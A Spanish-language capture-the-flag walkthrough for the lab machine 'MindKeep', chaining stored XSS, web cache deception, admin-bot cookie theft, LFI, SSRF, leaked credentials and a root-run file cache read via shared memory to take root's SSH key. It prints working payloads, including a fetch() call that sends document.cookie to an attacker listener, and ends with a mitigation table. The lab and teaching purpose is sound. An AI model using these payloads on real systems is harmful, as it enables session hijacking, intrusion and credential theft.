MindKeep
Máquina: The Hackers Labs — MindKeep Sistema operativo objetivo: Ubuntu (host único, sin contenedores esta vez) Vector de entrada: Stored XSS + Web Cache Deception → robo de sesión de administrador → LFI → SSRF interno → credenciales filtradas en un chat Escalada de privilegios: Credenciales en código fuente → servicio que cachea archivos en memoria compartida ejecutándose como root → exfiltración de la clave SSH de root
Esta máquina se hizo sin ningún brief — reconocimiento completamente a ciegas. Es también la que más tiempo real de espera exigió: el vector principal depende de sincronizar nuestro ataque con un bot administrador que revisa reportes de forma periódica, y el caché que abusamos tiene una vida útil corta. Documentamos también esa parte del proceso porque es una lección real de explotación en el mundo real: no todo es ejecutar un comando y ya.
Resumen de flags
| Flag | Valor | Usuario |
|---|---|---|
Usuario (user.txt) |
████████████ |
jessy |
Root (root.txt) |
████████████ |
root |
Nota sobre las IPs: la máquina es
192.168.56.105, con el vhostmindkeep.thl(hay que añadirlo a/etc/hosts). Confírmalas tú mismo si repites el proceso.
Herramientas necesarias
sudo apt-get install -y sshpass
python3 -m http.server 8888 # como "listener" para capturar la cookie robadaEn el sistema comprometido (no en Kali) necesitarás Python con el módulo estándar ctypes — ya viene incluido en cualquier instalación de Python 3.
Fase 0 — Montar la máquina virtual
Igual que las anteriores. Un detalle nuevo: el OVA de esta máquina traía un nombre de VM genérico (“vm”), así que se especifica uno explícito al importar:
unzip "The Hackers Labs - MindKeep.zip"
VBoxManage import "The Hackers Labs - MindKeep.ova" --vsys 0 --vmname "TheHackersLabs-MindKeep"
VBoxManage modifyvm "TheHackersLabs-MindKeep" --nic1 hostonly --hostonlyadapter1 vboxnet0
VBoxManage startvm "TheHackersLabs-MindKeep" --type headlessFase 1 — Reconocimiento
nmap -sn 192.168.56.100-200 # localizar la IP
nmap -p- --min-rate 3000 -Pn 192.168.56.105
nmap -sV -sC -Pn -p 22,80 192.168.56.105Resultado: solo 22 (SSH, OpenSSH 9.6p1 Ubuntu) y 80 (nginx 1.24.0). La petición a / en el puerto 80 responde con una redirección forzada a un vhost: http://mindkeep.thl/.
echo "192.168.56.105 mindkeep.thl" | sudo tee -a /etc/hostsFase 2 — Reconocimiento de la aplicación web
La web es una app de notas (“Your thoughts, perfectly organized”), con auto-registro abierto en /register/. El mensaje de error genérico de Flask al redirigir ("Redirecting...", el HTML por defecto de Werkzeug) confirma que el backend es Flask.
curl -s -X POST http://mindkeep.thl/register/ \
--data-urlencode "username=Pyth0nK1d" --data-urlencode "password=TuPasswordFuerte123!"
curl -s -c cookies.txt -X POST http://mindkeep.thl/login/ \
--data-urlencode "username=Pyth0nK1d" --data-urlencode "password=TuPasswordFuerte123!"La cookie de sesión de Flask
Al loguearte, Flask entrega una cookie session con formato payload.timestamp.firma. No está cifrada, solo firmada (usando la librería itsdangerous) — cualquiera puede leer el contenido sin conocer la clave secreta del servidor, solo no puede falsificar una firma válida sin ella.
python3 -c "
import base64
s = '<parte-payload-de-la-cookie>'
s += '=' * (-len(s) % 4)
print(base64.urlsafe_b64decode(s))
"
# {"user_id":2,"username":"Pyth0nK1d"}Nuestro user_id es 2 → confirma que existe un user_id=1, casi con certeza el administrador.
Fase 3 — La vulnerabilidad clave: escapeHTML() roto
En /static/js/dashboard.js, la función que se supone “limpia” el HTML antes de mostrar el título/contenido de una nota:
function escapeHTML(str) {
return str
.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'");
}El bug: String.prototype.replace(str, ...) con un string literal (no una expresión regular con la bandera /g) reemplaza solo la primera ocurrencia de cada carácter en todo el texto. Con dos < y dos > en el payload, sobra material sin escapar para formar un tag HTML real — el navegador es muy tolerante al parsear HTML malformado y termina el tag en el primer > “suelto” que encuentra, aceptando todo lo demás como si fueran atributos.
Payload funcional:
<<img src=x onerror=fetch("http://TU_IP:8888/steal?c="+document.cookie) />>
Detalle importante: hay que usar
<img onerror=...>, no<script>...</script>. Cuando el JavaScript inserta contenido conelement.innerHTML = ..., los navegadores no ejecutan las etiquetas<script>insertadas de esa forma (medida de seguridad del propio DOM) — pero sí disparan manejadores de eventos comoonerroren cuanto el elemento se añade al árbol y la imagen (inexistente,src=x) falla en cargar.
Fase 4 — Un IDOR que no basta por sí solo
curl -s -b cookies.txt http://mindkeep.thl/api/user/1/notes/El endpoint de lectura de notas no valida que el user_id de la URL coincida con la sesión (IDOR real) — pero las notas del admin están vacías, y el endpoint de creación (create_note) sí valida correctamente el dueño (401 Unauthorized si intentas crear en otra cuenta). No podemos escribir directamente en la cuenta del admin — hace falta otro camino para que él vea nuestro contenido.
Fase 5 — Web Cache Deception
¿Qué es esto?
Un Web Cache Deception ocurre cuando una capa de caché (delante de la aplicación) decide si algo es “cacheable” basándose en un patrón superficial de la URL (por ejemplo, la extensión .js), mientras que el servidor de aplicación real interpreta esa misma URL de otra forma completamente distinta (por ejemplo, ignorando todo lo que va después de una ruta base). El resultado: una respuesta pensada para ser privada y dinámica (como tu panel de notas) puede terminar guardada en una caché pública y compartida.
Confirmarlo
Ya sabíamos (de la Fase 4) que /dashboard/notes/<CUALQUIER-COSA> siempre devuelve la misma vista genérica de “My Notes” (una ruta catch-all de Flask). Probamos si la caché la trata como archivo estático por la extensión:
curl -s -D - "http://mindkeep.thl/dashboard/notes/!marcador.js" -o /dev/null | grep -i cache
# X-Cache-Status: MISS (primera vez)
curl -s -D - "http://mindkeep.thl/dashboard/notes/!marcador.js" -o /dev/null | grep -i cache
# X-Cache-Status: HIT (segunda vez — ¡confirmado!)El delimitador ! en concreto es el que la caché de esta app interpreta como “empieza aquí el nombre del archivo estático” — coincidencia de implementación, hay que probar varios delimitadores (;, !, %2f…) en cada caja.
Cómo funciona realmente el “envenenado”
Importante entenderlo bien: la caché no se sobreescribe en cada petición. Solo se rellena una vez, en el primer MISS tras expirar; a partir de ahí, sirve esa misma copia guardada a cualquiera que pida la URL, sin importar su propia cookie de sesión. Así que quien tenga la mala (o buena) suerte de ser el primero en pedir la URL justo después de que expire, decide qué contenido queda cacheado para todo el mundo hasta la siguiente expiración.
Fase 6 — Crear la nota trampa
curl -s -b cookies.txt -X POST http://mindkeep.thl/api/user/2/create_note/ \
-H "Content-Type: application/json" \
-d '{"title":"Gimme cookie","content":"<<img src=x onerror=fetch(\"http://TU_IP:8888/steal?c=\"+document.cookie) />>"}'Nuestra página /dashboard/notes/ (renderizada con nuestro data-user-id) es la que va a quedar cacheada. Cuando el navegador de quien sea cargue esa página, el JS (loadNotes()) hace fetch('/api/user/<nuestro-id>/notes/') — gracias al IDOR de lectura de la Fase 4, siempre carga nuestras notas, sin importar quién esté mirando. Si esa persona tiene una sesión de administrador válida, document.cookie en el momento del fetch del payload es su cookie, no la nuestra.
curl -s "http://mindkeep.thl/dashboard/notes/!Pyth0nK1d.js" -b cookies.txt -o /dev/null # MISS -> rellena con NUESTRO user-id
curl -s "http://mindkeep.thl/dashboard/notes/!Pyth0nK1d.js" -b cookies.txt -o /dev/null # HIT -> confirmadoFase 7 — Reportar el “bug” con la URL envenenada
El formulario /dashboard/bug/ explica: “An administrator will review the submitted URL”. Es un bot que, periódicamente, revisa los últimos reportes e intenta abrir la URL indicada (con sesión de administrador activa).
curl -s -b cookies.txt -X POST http://mindkeep.thl/dashboard/bug/send \
--data-urlencode "subject=Important BUG!" \
--data-urlencode "message=Found a bug, consider a review ASAP!" \
--data-urlencode "url=http://mindkeep.thl/dashboard/notes/!Pyth0nK1d.js"Levanta un listener antes de enviarlo, para capturar la petición cuando llegue:
python3 -m http.server 8888 --bind <TU_IP_EN_LA_RED_HOSTONLY>Fase 8 — La parte más delicada: sincronizar con el bot
El problema real que nos encontramos: el bot no revisa instantáneamente, y la entrada de caché envenenada tiene una vida útil (TTL) más corta que el intervalo del bot. Si esperas pasivamente, lo más probable es que el bot llegue después de que la caché ya haya expirado y alguien más (incluido el propio admin en otra visita) la haya vuelto a rellenar con contenido “limpio” — perdiendo la ventana sin darte cuenta.
Cómo confirmarlo: pedir la URL cacheada sin ninguna cookie de vez en cuando. Si en algún momento el data-user-id que devuelve cambia a un valor que no es el tuyo (ni un user_id por defecto — confirmable comprobando que una URL nunca antes cacheada sí redirige correctamente a /login/ sin sesión), es evidencia de que alguien con sesión propia visitó esa URL exacta y su render quedó grabado encima del tuyo.
La solución: automatizar el “reenvenenado” continuo, para que en cualquier instante en que el bot pase, encuentre nuestra versión fresca:
COOKIE="<tu-cookie-de-sesion>"
while true; do
cache_status=$(curl -s -D - "http://mindkeep.thl/dashboard/notes/!Pyth0nK1d.js" \
-b "session=$COOKIE" -o /dev/null | grep -i "X-Cache-Status")
if echo "$cache_status" | grep -qi "MISS"; then
# justo se acaba de vaciar -> ser el primero en rellenarla otra vez
curl -s "http://mindkeep.thl/dashboard/notes/!Pyth0nK1d.js" -b "session=$COOKIE" -o /dev/null
curl -s -b "session=$COOKIE" -X POST http://mindkeep.thl/dashboard/bug/send \
--data-urlencode "subject=Important BUG!" \
--data-urlencode "message=Found a bug, consider a review ASAP!" \
--data-urlencode "url=http://mindkeep.thl/dashboard/notes/!Pyth0nK1d.js" -o /dev/null
fi
sleep 3
doneCon esto corriendo en bucle, tarde o temprano coincide con el ciclo del bot.
Fase 9 — La captura
En el log del listener apareció, tras un rato de espera:
GET /steal?c=session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3IifQ.aoc17A.2KMXn5zu70W9L9d9WwcUt9TYxpE
Decodificando el payload de esa cookie: {"user_id":1,"username":"administrator"} — la sesión real del administrador. 🎯
Fase 10 — Session Hijacking: usar la cookie robada
echo -e "mindkeep.thl\tFALSE\t/\tFALSE\t0\tsession\t<COOKIE_ROBADA>" > admin_cookies.txt
curl -s -b admin_cookies.txt http://mindkeep.thl/dashboard/
# "administrator's Dashboard" — confirmadoFase 11 — LFI (Local File Inclusion) como admin
Un endpoint solo accesible con sesión de administrador:
curl -s -b admin_cookies.txt "http://mindkeep.thl/api/features/export-notes?download=/etc/passwd"Revela los usuarios reales del sistema:
jessy:x:1001:1001:,,,:/home/jessy:/bin/bash
it:x:1002:1002:,,,:/home/it:/bin/bash
Fase 12 — SSRF hacia un servicio interno
Otro endpoint solo de admin, que hace de proxy hacia cualquier URL que le pidas — clásico Server-Side Request Forgery: el propio servidor hace la petición por ti, permitiéndote alcanzar servicios que solo escuchan en 127.0.0.1 (no expuestos hacia fuera).
curl -s -b admin_cookies.txt \
"http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api/chat?user_id=1"Resultado: un mensaje de chat interno dirigido a “Jessy” con una notificación de cambio de contraseña:
{"content":"Dear Jessy, ... Your new password is: j3sS1r0cK! ..."}Fase 13 — Acceso inicial y flag de usuario
sshpass -p 'j3sS1r0cK!' ssh [email protected] 'id; cat ~/user.txt'uid=1001(jessy)
████████████
Fase 14 — Enumeración para escalada de privilegios
find / -group it 2>/dev/null | grep -v /proc
# /opt/it_cache_testing
cat /opt/it_cache_testing/cache_api.pyEl código fuente (legible por el grupo it… y jessy pertenece a un grupo secundario que le da acceso, o el archivo simplemente es de lectura general) revela todo:
app.secret_key = 'iTk3yT3st1n3g!!2026?MindK33p'
class SHMCache:
SHM_KEY = 0x5353 # clave de la memoria compartida SysV
SHM_SIZE = 65536
def write(self, key, value):
...
def read(self, key):
...
@app.route('/api/it/cache/v1/shm_test/', methods=["POST", "GET"])
def cache_v1():
username = request.args.get('username')
password = request.args.get('password')
file = request.args.get('file')
if not (username == 'it' and password == 'z@3mhsMBHM'):
return jsonify({"error": "Unauthorized"}), 401
cached = shm_cache.read(file)
if cached is not None:
return {"source": "cache", "file": file}
shm_cache.write(file, open(file, 'r').read()) # <-- lee CUALQUIER archivo que el proceso pueda leer
return {"source": "fresh", "file": file}
if __name__ == '__main__':
app.run(debug=False, port=9999)Credenciales de it: it:z@3mhsMBHM. Y lo más importante: este servicio (puerto 9999, solo en 127.0.0.1) abre y cachea cualquier archivo que se le pida, sin restricción de ruta — y descubriremos que corre como root.
echo "z@3mhsMBHM" | su it -c "id"
# uid=1002(it)Fase 15 — Abusar del servicio de caché para leer la clave privada de root
ps aux | grep cache_api
# root ... /opt/it_cache_testing/.venv/bin/python /opt/it_cache_testing/cache_api.pyConfirmado: corre como root. Le pedimos que “cachee” la clave SSH privada de root:
curl -s "http://127.0.0.1:9999/api/it/cache/v1/shm_test/?username=it&password=z@3mhsMBHM&file=/root/.ssh/id_rsa"
# {"file":"/root/.ssh/id_rsa","source":"fresh"}Como el proceso corre como root, open('/root/.ssh/id_rsa', 'r').read() funciona sin problema — y el resultado se guarda en la memoria compartida (SHM_KEY = 0x5353), creada con permisos mode=0o666 — lectura y escritura para cualquier usuario del sistema, no solo para el proceso que la creó.
¿Qué es la memoria compartida SysV (IPC)?
Es un mecanismo clásico de Unix para que procesos distintos (incluso de usuarios distintos, si los permisos lo permiten) compartan un bloque de memoria directamente, sin pasar por archivos ni sockets — mucho más rápido, pero también mucho más fácil de dejar mal asegurado, como aquí: al crearla con permisos 0o666, cualquier usuario del sistema puede leerla, sin necesitar ser root ni pasar por la API HTTP en absoluto.
Leer la memoria compartida directamente con Python
import ctypes, ctypes.util, json, hashlib
libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
key = 0x5353
shmid = libc.shmget(key, 0, 0) # obtener el ID del segmento ya existente
libc.shmat.restype = ctypes.c_void_p
addr = libc.shmat(shmid, None, 0) # "adjuntar" el segmento a nuestro espacio de memoria
data = ctypes.string_at(addr, 65536).rstrip(b"\x00")
cache = json.loads(data.decode("utf-8"))
# la caché usa como clave el MD5 de la ruta del archivo (visible en el código fuente)
target_key = hashlib.md5("/root/.ssh/id_rsa".encode()).hexdigest()
print(cache[target_key])
libc.shmdt(addr) # liberar el segmentoscp read_shm.py [email protected]:/tmp/
ssh [email protected] 'python3 /tmp/read_shm.py' > root_id_rsaResultado: la clave privada SSH de root, completa.
Fase 16 — Acceso root y flag final
chmod 600 root_id_rsa
ssh -i root_id_rsa [email protected] 'id; hostname; cat /root/root.txt'uid=0(root) gid=0(root)
mindkeep
████████████
🚩 Root conseguido.
Fase 17 — Limpieza
ssh [email protected] 'rm -f /tmp/read_shm.py'La cuenta de prueba y las notas creadas se dejan tal cual — son artefactos normales de uso de la aplicación, no comprometen el sistema ni ocultan nada.
Resumen de la cadena de ataque
Registro/login normal -> cookie de sesión Flask (firmada, no cifrada)
-> decodificada revela que existe user_id=1 (admin)
│
▼
escapeHTML() del JS solo escapa la 1ª ocurrencia de cada carácter
-> XSS almacenado con <img onerror=...> (no <script>, no se ejecuta vía innerHTML)
│
▼
IDOR de lectura en /api/user/<id>/notes/ (sin validar dueño)
-> quien vea nuestra página de notas, ve NUESTRO contenido (con el XSS)
│
▼
Web Cache Deception: /dashboard/notes/!archivo.js cacheado como si fuera estático
-> nuestra versión (con nuestro user-id) queda servida a cualquiera
│
▼
Bug report con esa URL -> bot admin la visita con su sesión real
-> requiere sincronizar el TTL del caché con el intervalo del bot (reenvenenado en bucle)
│
▼
XSS se ejecuta en el navegador del admin -> roba su cookie -> listener la captura
│
▼
Session hijacking con la cookie robada -> acceso admin confirmado
│
▼
LFI (export-notes?download=) -> /etc/passwd revela usuarios jessy e it
│
▼
SSRF (shared-notes/load/?url=) -> puerto interno 3333 (chat)
-> contraseña de jessy filtrada en un mensaje
│
▼
SSH jessy -> flag de usuario
-> /opt/it_cache_testing/cache_api.py expone credenciales de "it" y el diseño del servicio de caché
│
▼
su it -> el servicio de caché (puerto 9999, corre como ROOT) permite pedir cualquier archivo
-> se le pide /root/.ssh/id_rsa -> queda en memoria compartida SysV con permisos 0o666
│
▼
Lectura directa de la memoria compartida con ctypes (shmget/shmat)
-> clave privada de root completa
│
▼
SSH root -> flag de root
Causas raíz y mitigación
| Debilidad | Mitigación recomendada |
|---|---|
Cookie de sesión Flask sin HttpOnly |
Configurar SESSION_COOKIE_HTTPONLY=True — impide que JavaScript (y por tanto un XSS) lea document.cookie en absoluto |
Sanitización de HTML hecha a mano y mal implementada (replace sin bandera global) |
Usar una librería de sanitización probada (DOMPurify en cliente, bleach/markupsafe en servidor) — nunca reinventar el escapado de HTML |
Inserción de contenido de usuario vía innerHTML |
Usar textContent para texto plano, o si se necesita HTML, sanitizarlo con una librería dedicada antes de insertarlo |
| IDOR en el endpoint de lectura de notas | Validar en cada request que el recurso pedido pertenece al usuario de la sesión actual, no solo en algunos endpoints |
| Caché que decide “cacheable” por la extensión de la URL, ignorando cómo la aplicación real interpreta esa ruta | Configurar la caché para que solo cachee rutas que realmente correspondan a archivos estáticos en el sistema de ficheros, no por patrón de URL; añadir Cache-Control: private, no-store explícito en respuestas autenticadas/dinámicas |
| Bot de revisión de “bugs” que visita URLs arbitrarias con una sesión de administrador con todos los privilegios | El bot debería usar una cuenta de revisión con privilegios mínimos, en un navegador aislado (sandboxed), y nunca reutilizar una sesión con acceso administrativo completo |
LFI en un endpoint de exportación (download=<ruta>) sin restricción |
Nunca aceptar una ruta de archivo directamente desde el usuario; usar un identificador indirecto (ID de nota) resuelto internamente a una ruta fija y validada |
| SSRF en un endpoint que hace fetch de una URL arbitraria dada por el usuario | Lista blanca estricta de hosts/puertos permitidos; nunca permitir 127.0.0.1/rangos privados desde un parámetro de usuario |
| Credenciales hardcodeadas en el código fuente de un servicio interno | Usar variables de entorno o un gestor de secretos; nunca credenciales en texto plano en el repositorio o el despliegue |
| Servicio que lee cualquier archivo del sistema a petición, corriendo como root | Nunca ejecutar como root un servicio que acepta rutas de archivo arbitrarias del usuario; aplicar principio de mínimo privilegio con un usuario dedicado sin acceso a /root |
Memoria compartida SysV creada con permisos 0o666 (lectura/escritura para todos) |
Restringir los permisos del segmento al usuario/grupo estrictamente necesario (ej. 0o600 si solo el propio proceso debe acceder) |
«El misterio de la existencia humana no está en vivir, sino en saber para qué se vive.»
— Fiódor Dostoyevski, Los hermanos Karamázov
